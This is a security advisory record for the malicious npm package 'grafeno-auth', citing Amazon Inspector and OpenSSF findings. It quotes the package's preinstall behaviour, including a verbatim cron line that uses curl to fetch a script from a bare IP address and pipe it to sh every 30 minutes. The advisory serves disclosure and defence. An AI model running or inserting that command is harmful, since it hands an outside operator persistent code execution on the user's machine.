Malicious code in grafeno-auth (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c3c99ded091548bc464635b9c1151368873851c4a97036279f46f74b5c7ca59a) package.json declares a preinstall hook that shells out via node -e / child_process to curl http://216.126.236.46/x.sh over plain HTTP and pipes the response to sh, then appends a crontab entry ('*/30 * * * * curl -s 216.126.236.46/x.sh|sh') that re-fetches and re-executes the same URL every 30 minutes. The shipped index.js is an inert stub exporting a no-op login function, so the manifest's lifecycle hook is the package's only real behavior. Running npm install executes attacker-controlled code from a bare-IP HTTP endpoint on the installer's host and establishes persistent remote code delivery via cron; the payload at that URL is mutable by the operator of the IP. ## Source: ossf-package-analysis (99cc2c553314bb426724c65f313119212461879d87e65dd3488c32cfcd98d0be) The OpenSSF Package Analysis project identified 'grafeno-auth' @ 1.0.0 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.
Malicious code in grafeno-auth (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c3c99ded091548bc464635b9c1151368873851c4a97036279f46f74b5c7ca59a) package.json declares a preinstall hook that shells out via node -e / child_process to curl http://216.126.236.46/x.sh over plain HTTP and pipes the response to sh, then appends a crontab entry ('*/30 * * * * curl -s 216.126.236.46/x.sh|sh') that re-fetches and re-executes the same URL every 30 minutes. The shipped index.js is an inert stub exporting a no-op login function, so the manifest's lifecycle hook is the package's only real behavior. Running npm install executes attacker-controlled code from a bare-IP HTTP endpoint on the installer's host and establishes persistent remote code delivery via cron; the payload at that URL is mutable by the operator of the IP. ## Source: ossf-package-analysis (99cc2c553314bb426724c65f313119212461879d87e65dd3488c32cfcd98d0be) The OpenSSF Package Analysis project identified 'grafeno-auth' @ 1.0.0 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.
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Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-15502
- Osv Schema Version
- 1.7.4
- Aliases
- []
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a92f7e2acd9273b49e75bf8
Added to database: 08/29/2026, 15:16:50 UTC
Last updated: 08/29/2026, 15:17:15 UTC
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